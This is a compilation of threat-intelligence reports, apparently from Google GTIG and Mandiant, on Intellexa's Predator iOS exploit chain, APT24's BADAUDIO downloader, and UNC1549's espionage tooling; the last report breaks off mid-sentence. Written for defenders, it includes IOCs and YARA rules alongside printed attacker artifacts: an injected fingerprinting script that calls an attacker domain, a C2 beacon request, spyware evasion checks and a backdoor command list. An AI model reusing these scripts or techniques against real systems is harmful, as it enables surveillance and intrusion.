Intellexa is responsible for a substantial number of the zero-day vulnerabilities identified over the years by Google’s Threat Analysis Group (TAG), now part of GTIG. As an example, out of approximately 70 zero-day vulnerabilities discovered and documented by TAG since 2021, Intellexa accounts for 15 unique zero-days, including Remote Code Execution (RCE), Sandbox Escape (SBX), and Local Privilege Escalation (LPE) vulnerabilities. All of these zero-days have been patched by the respective vendors. In addition to developing exploitation of zero-days, we increasingly see evidence that Intellexa is purchasing steps of exploit chains from external entities.

Exploit Chain 

Partnering with our colleagues at CitizenLab in 2023, we captured a full iOS zero-day exploit chain used in the wild against targets in Egypt. Developed by Intellexa, this exploit chain was used to install spyware publicly known as Predator surreptitiously onto a device. According to metadata, Intellexa referred to this exploit chain internally as “smack.”

First Stage: JSKit Framework Déjà Vu

The initial stage of the exploit chain was a Safari RCE zero-day that Apple fixed as CVE-2023-41993. The exploit leveraged a framework internally called “JSKit.” Once arbitrary memory read and write primitives have been achieved thanks to a vulnerability in the renderer, in this case CVE-2023-41993, the framework provides all the requisite components to perform native code execution on modern Apple devices.

We believe that Intellexa acquired their iOS RCE exploits from an external entity, as we have seen this exact same JSKit framework used by other surveillance vendors and government-backed attackers since 2021. In 2024, we reported publicly on a campaign by Russian government-backed attackers using this exact same iOS exploit and JSKit framework in a watering hole attack against Mongolian government websites. We have also seen it used in other campaigns by surveillance vendors, including another surveillance vendor using the same framework when exploiting CVE-2022-42856 in 2022.

The JSKit framework is well maintained, supports a wide range of iOS versions, and is modular enough to support different Pointer Authentication Code (PAC) bypasses and code execution techniques. The framework can parse in-memory Mach-O binaries to resolve custom symbols and can ultimately manually map and execute Mach-O binaries directly from memory. In addition, the JSKit framework is fairly robust and well engineered, with each step of the exploitation process tested carefully. To date, we haven't seen a similar framework exist for Android.

The exploit Intellexa used was apparently tracked internally as "exploit number 7," according to debug strings at the entry point of the RCE exploit. This suggests that the external entity supplying exploits likely possesses a substantial number of iOS exploits targeting a wide range of versions.

Regarding Chrome exploitation, Intellexa has used a custom framework with all the features needed to gain code execution from any arbitrary vulnerability capable of leaking TheHole magic object in V8. They first used this framework with CVE-2021-38003, then with CVE-2023-4762, CVE-2023-3079, CVE-2023-2033, and more recently in June 2025 with CVE-2025-6554, observed in Saudi Arabia. This most recent, CVE-2025-6554, was a type confusion error in Chrome’s v8 engine. Chrome quickly mitigated the issue for all Chrome users with a configuration change and then fixed the bug as CVE-2025-6554 in version 138.0.7204.96. All these CVEs are vulnerabilities in V8 that all can be used to leak TheHole object.

Following Stages: Watching the Helper

The second stage is the most technical part of the chain and would require an entire separate blog post to describe all of its functionality. Essentially, this stage is in charge of breaking out of the Safari sandbox and executing an untrusted third stage payload as system by abusing the kernel vulnerabilities CVE-2023-41991 and CVE-2023-41992. This second stage communicates with the first stage to re-use some of the primitives (e.g., PAC bypass) and offers kernel memory read/write capabilities to the third stage.

The third stage (tracked by GTIG as PREYHUNTER) is the last one we captured and is composed of two modules called "helper" and "watcher."

The watcher module primarily ensures that the infected device does not exhibit suspicious behavior; if such behavior is detected, a notification is generated, and the exploitation process is terminated. The module is also in charge of monitoring crashes.

The following behaviors are detected:

• Developer mode via security.mac.amfi.developer_mode_status

• Console attached via diagnosticd

• US or IL locale set on the phone

• Cydia installed

• Bash, tcpdump, frida, sshd, or checkrain process currently running on the phone

• McAfee, AvastMobileSecurity, or NortonMobileSecurity installed on the phone

• Custom HTTP proxy setup

• Custom root CA installed

The helper module is communicating with the other parts of the exploit via a Unix socket at /tmp/helper.sock. Similar to the ALIEN malware for Android, the module has the ability to hook various places with custom frameworks called DMHooker and UMHooker. These hooks are allowing the module to perform basic spyware capabilities such as:

• Recording VOIP conversations (stored in /private/var/tmp/l/voip_%lu_%u_PART.m4a)

• Running a keylogger

• Capturing pictures from the camera

The module is also hooking into the SpringBoard in order to hide user notifications caused by the aforementioned actions. We believe these capabilities are provided to the operator to make sure the infected device is the correct one before deploying a more sophisticated spyware, such as Predator.

The binary left compilation artifacts such as the following build directory including the name of the exploit chain.

/Users/gitlab_ci_2/builds/jbSFKQv5/0/roe/ios16.5-smackjs8-production/.

Overall, these exploits are high in sophistication, especially compared to the less sophisticated spyware stager, supporting our assessment that the exploits were likely acquired from another party. 

Disrupting Novel Delivery Capabilities

The primary delivery mechanism for Intellexa's exploits remains one-time links sent to targets directly via end-to-end encrypted messaging applications. However, we have also observed another tactic with a few customers—the use of malicious advertisements on third-party platforms to fingerprint users and redirect targeted users to Intellexa's exploit delivery servers.

We believe this campaign is another example of commercial surveillance vendors abusing ads for exploit delivery, and Intellexa has gotten increasingly involved in this space since early 2025. Working with our partners, we identified the companies Intellexa created to infiltrate the advertising ecosystem, and those partners subsequently shut down the accounts from their platforms.

Addressing the Threat of Intellexa’s Activities 

Community efforts to raise awareness have built momentum toward an international policy response. Google has been a committed participant in the Pall Mall Process, designed to build consensus and progress toward limiting the harms from the spyware industry. Together, we are focused on developing international norms and frameworks to limit the misuse of these powerful technologies and protect human rights around the world. These efforts are built on earlier governmental actions, including steps taken by the US Government to limit government use of spyware, and a first-of-its-kind international commitment to similar efforts.

Recognizing the severity and widespread nature of Intellexa's activities in particular, we have made the decision to simultaneously deliver our government-backed attack warning to all known targeted accounts associated with Intellexa's customers since 2023. This effort encompasses several hundred accounts across various countries, including Pakistan, Kazakhstan, Angola, Egypt, Uzbekistan, Saudi Arabia, and Tajikistan, ensuring that individuals at risk are made aware of these sophisticated threats.

Following our disclosure policy, we are sharing our research to raise awareness and advance security across the ecosystem. We have also added all identified websites and domains to Safe Browsing to safeguard users from further exploitation. We urge users and organizations to apply patches quickly and keep software fully up-to-date for their protection. Google will remain focused on detecting, analyzing, and preventing zero-day exploitation as well as reporting vulnerabilities to vendors immediately upon discovery.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included IOCs in a GTI Collection for registered users.

File Indicators

• 85d8f504cadb55851a393a13a026f1833ed6db32cb07882415e029e709ae0750
• e3314bcd085bd547d9b977351ab72a8b83093c47a73eb5502db4b98e0db42cac

YARA Rule

This rule is intended to serve as a starting point for hunting efforts to identify PREYHUNTER malware; however, it may need adjustment over time.

rule G_Hunting_PREYHUNTER_IOSStrings_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$ = "/Users/gitlab_ci_2/builds/jb"
		$ = "/roe/ios1"
		$ = "-production/libs/Exploit" ascii wide
		$ = "/private/var/tmp/l/voip_%lu_%u_PART.m4a" ascii wide
		$ = "/private/var/tmp/etherium.txt" ascii wide
		$ = "/private/var/tmp/kusama.txt" ascii wide
		$ = "_gadget_pacia" ascii wide
		$ = "ZN6Helper4Voip10setupHooksEvE3$_3" ascii wide
		$ = "Hook 1 triggered! location:" ascii wide
		$ = "KernelReaderI11CorelliumRWE" ascii wide
		$ = "NSTaskROP20WithoutDeveloperMode" ascii wide
		$ = "UMHookerI14RemoteTaskPort" ascii wide
		$ = "callFunc: building PAC cache for" ascii wide
		$ = "select  tset  FROM tsettings WHERE INSTR(tset, ?)" ascii wide
		$ = "select * from tsettings WHERE length(sha256) > ?" ascii wide
		$ = "isTrojanThreadERK" ascii wide
		$ = "getpid from victim returned:" ascii wide
		$ = "victim task kaddr:" ascii wide
	condition:
		1 of them
}

Acknowledgements

We would like to acknowledge and thank The Citizen Lab and Amnesty International for their collaboration and partnership.

Written by: Harsh Parashar, Tierra Duncan, Dan Perez

Google Threat Intelligence Group (GTIG) is tracking a long-running and adaptive cyber espionage campaign by APT24, a People's Republic of China (PRC)-nexus threat actor. Spanning three years, APT24 has been deploying BADAUDIO, a highly obfuscated first-stage downloader used to establish persistent access to victim networks.

While earlier operations relied on broad strategic web compromises to compromise legitimate websites, APT24 has recently pivoted to using more sophisticated vectors targeting organizations in Taiwan. This includes the repeated compromise of a regional digital marketing firm to execute supply chain attacks and the use of targeted phishing campaigns.

This report provides a technical analysis of the BADAUDIO malware, details the evolution of APT24's delivery mechanisms from 2022 to present, and offers actionable intelligence to help defenders detect and mitigate this persistent threat.

As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains, and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We also conducted a series of victim notifications with technical details to compromised sites, enabling affected organizations to secure their sites and prevent future infections.

Payload Analysis: BADAUDIO and Cobalt Strike Beacon Integration

The BADAUDIO malware is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

--------------------------

GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

Figure 2: BADAUDIO code sample

The malware is engineered with control flow flattening—a sophisticated obfuscation technique that systematically dismantles a program's natural, structured logic. This method replaces linear code with a series of disconnected blocks governed by a central "dispatcher" and a state variable, forcing analysts to manually trace each execution path and significantly impeding both automated and manual reverse engineering efforts.

BADAUDIO typically manifests as a malicious Dynamic Link Library (DLL) leveraging DLL Search Order Hijacking (MITRE ATT&CK T1574.001) for execution via legitimate applications. Recent variants observed indicate a refined execution chain: encrypted archives containing BADAUDIO DLLs along with VBS, BAT, and LNK files. 

These supplementary files automate the placement of the BADAUDIO DLL and a legitimate executable into user directories, establish persistence through legitimate executable startup entries, and trigger the DLL sideloading. This multi-layered approach to execution and persistence minimizes direct indicators of compromise.

Upon execution, BADAUDIO collects rudimentary host information: hostname, username, and system architecture. This collected data is then hashed and embedded within a cookie parameter in the C2 request header. This technique provides a subtle yet effective method for beaconing and identifying compromised systems, complicating network-based detection.

In one of these cases, the subsequent payload, decrypted using a hard-coded AES key, has been confirmed as Cobalt Strike Beacon. However, it is not confirmed that Cobalt Strike is present in every instance. The Beacon payload contained a relatively unique watermark that was previously observed in a separate APT24 campaign, shared in the Indicators of Compromise section. Cobalt Strike watermarks are a unique value generated from and tied to a given "CobaltStrike.auth" file. This value is embedded as the last 4 bytes for all BEACON stagers and in the embedded configuration for full backdoor BEACON samples.

Campaign Overview: BADAUDIO Delivery Evolves

Over three years, APT24 leveraged various techniques to deliver BADAUDIO, including strategic web compromises, repeated supply-chain compromise of a regional digital marketing firm in Taiwan, and spear phishing.

Public Strategic Web Compromise Campaign

Beginning in November 2022 we observed over 20 compromised websites spanning a broad array of subjects from regional industrial concerns to recreational goods, suggesting an opportunistic approach to initial access with true targeting selectively executed against visitors the attackers identified via fingerprinting. The legitimate websites were weaponized through the injection of a malicious JavaScript payload.

This script exhibited an initial layer of targeting, specifically excluding macOS, iOS, Android, and various Microsoft Internet Explorer/Edge browser variants to focus exclusively on Windows systems. This selectivity suggests an adversary immediately narrowing their scope to optimize for a specific, likely high-value, victim profile.

The injected JavaScript performed a critical reconnaissance function by employing the FingerprintJS library to generate a unique browser fingerprint. This fingerprint, transmitted via an HTTP request to an attacker-controlled domain, served as an implicit validation mechanism. Upon successful validation, the victim was presented with a fabricated pop-up dialog, engineered to trick the user into downloading and executing BADAUDIO malware.

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

Figure 6: Early malicious fingerprinting JS used in strategic web compromise campaigns

The attackers consistently shift their infrastructure, using a mix of newly registered domains and domains they have previously compromised. We last observed this tactic in early September 2025.

Escalation: Supply Chain Compromise for Strategic Web Compromises at Scale 

In July 2024, APT24 compromised a regional digital marketing firm in Taiwan- a supply chain attack that impacted more than 1,000 domains. Notably, the firm experienced multiple re-compromises over the last year, demonstrating APT24's persistent commitment to the operation.

We initiated a multifaceted remediation effort to disrupt these threats. In addition to developing custom logic to identify and block the modified, malicious JavaScript, GTIG distributed victim notifications to the individual compromised websites and the compromised marketing firm. These notifications provided specific details about the threat and the modifications made to the original script, enabling affected organizations to secure their sites and prevent future infections.

In the first iteration of the supply chain compromise, APT24 injected the malicious script into a widely used JavaScript library (MITRE ATT&CK T1195.001) provided by the firm, leveraging a typosquatting domain to impersonate a legitimate Content Delivery Network (CDN). The deobfuscated JavaScript reveals a multi-stage infection chain:

• Dynamic Dependency Loading: The script dynamically loads legitimate jQuery and FingerprintJS2 libraries (MITRE ATT&CK T1059.007) from a public CDN if not already present, ensuring consistent execution across diverse web environments.

• Multi-Layer JS Concealment: During a re-compromise discovered in July 2025, the adversary took additional steps to hide their malicious code. The highly obfuscated script (MITRE ATT&CK T1059) was deliberately placed within a maliciously modified JSON file served by the vendor, which was then loaded and executed by another compromised JavaScript file. This tactic effectively concealed the final payload in a file type and structure not typically associated with code execution.

• Advanced Fingerprinting: FingerprintJS2 is utilized to generate an x64hash128 browser and environmental fingerprint (MITRE ATT&CK T1082) . The x64hash128 is the resulting 128-bit hash value produced by the MurmurHash3 algorithm, which processes a large input string of collected browser characteristics (such as screen resolution, installed fonts, and GPU details) to create a unique, consistent identifier for the user's device.

• Covert Data Exfiltration and Staging: A POST request, transmitting Base64-encoded reconnaissance data (including host, url, useragent, fingerprint, referrer, time, and a unique identifier), is sent to an attacker's endpoint (MITRE ATT&CK T1041). 

• Adaptive Payload Delivery: Successful C2 responses trigger the dynamic loading of a subsequent script from a URL provided in the response's data field. This cloaked redirect leads to BADAUDIO landing pages, contingent on the attacker's C2 logic and fingerprint assessment (MITRE ATT&CK T1105).

• Tailored Targeting: The compromise in June 2025 initially employed conditional script loading based on a unique web ID (the specific domain name) related to the website using the compromised third-party scripts. This suggests tailored targeting, limiting the strategic web compromise (MITRE ATT&CK T1189) to a single domain. However, for a ten-day period in August, the conditions were temporarily lifted, allowing all 1,000 domains using the scripts to be compromised before the original restriction was reimposed.

Targeted Phishing Campaigns

Complementing their broader web-based attacks, APT24 concurrently conducted highly targeted social engineering campaigns. Lures, such as an email purporting to be from an animal rescue organization, leveraged social engineering to elicit user interaction and drive direct malware downloads from attacker-controlled domains.

Separate campaigns abused legitimate cloud storage platforms including Google Drive and OneDrive to distribute encrypted archives containing BADAUDIO. Google protected users by diverting these messages to spam, disrupting the threat actor’s effort to leverage reputable services in their campaigns.

APT24 included pixel tracking links, confirming email opens and potentially validating target interest for subsequent exploitation. This dual-pronged approach—leveraging widely trusted cloud services and explicit tracking—enhances their ability to conduct effective, personalized campaigns.

Outlook

This nearly three-year campaign is a clear example of the continued evolution of APT24’s operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques like supply chain compromise, multi-layered social engineering, and the abuse of legitimate cloud services demonstrates the actor's capacity for persistent and adaptive espionage. 

This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection. GTIG actively monitors ongoing threats from actors like APT24 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Acknowledgements 

This analysis would not have been possible without the assistance from FLARE. We would like to specifically thank Ray Leong, Jay Gibble and Jon Daniels for their contributions to the analysis and detections for BADAUDIO.

Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users.

Strategic Web Compromise JS

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

Strategic Web Compromise — Modified Supplier JS

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIO Binaries

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

Strategic Web Compromise — Stage 2

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

Cobalt Strike Beacon Watermark

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARA Rules

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}

rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
}

rule G_APT_DOWNLOADER_BADAUDIO_3 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $s1 = "SystemFunction036"
        $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
        $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
        $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
        $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
        $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
        $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
        $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
    condition:
        all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
}

rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}

Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard

Overview

Last year, Mandiant published a blog post highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target's main security controls by first compromising a connected entity.

Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCER.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

UNC1549’s campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim's industry.

Threat Activity

Initial Compromise

A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

Third-Party Services

Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier’s infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

Spear Phishing

UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a sample phishing email sent to one of the victims.

Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company's internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

Establish Foothold

To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant's analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549's sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

Search Order Hijacking

UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

TWOSTROKE

TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it's considered a unique backdoor.

Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function GetComputerNameExW(ComputerNameDnsFullyQualified). This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string. 

Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim's unique bot ID for later communication with the C2 server.

Functionalities

After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by "@##@." Depending on the received command, TWOSTROKE can execute one of the following commands:

• 1: Upload a file to the C2

• 2: Execute a file or a shell command

• 3: DLL execution into memory

• 4: Download file from the C2

• 5: Get the full victim user name

• 6: Get the full victim machine name

• 7: List a directory

• 8: Delete a file

LIGHTRAIL

UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as VGAuth.dll and was executed through search order hijacking using the VGAuthCLI.exe executable. LIGHTRAIL is a custom tunneler, likely based on the open-source Socks4a proxy, Lastenzug, that communicates using Azure cloud infrastructure. 

There are several distinct differences between the LIGHTRAIL sample and the LastenZug source code. These include:

• Increasing the MAX_CONNECTIONS from 250 to 5000

• Static configuration inside the lastenzug function (wPath and port)

• No support for using a proxy server when connecting to the WebSocket C2

• Compiler optimizations reducing the number of functions (26 to 10)

Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR’d with the value 0x41507712, while the XOR value in the observed LIGHTRAIL sample differs from the original source code - 0x41424344 (‘ABCD’).

After loading the necessary API function pointers, the initialization continues by populating the server name (wServerName), the port, and URI (wPath) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to "/news." This differs from the source code where these values are input parameters to the lastenzug function.

The initWS function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The initWS function has a hard-coded User-Agent string which it constructs as a stack string:

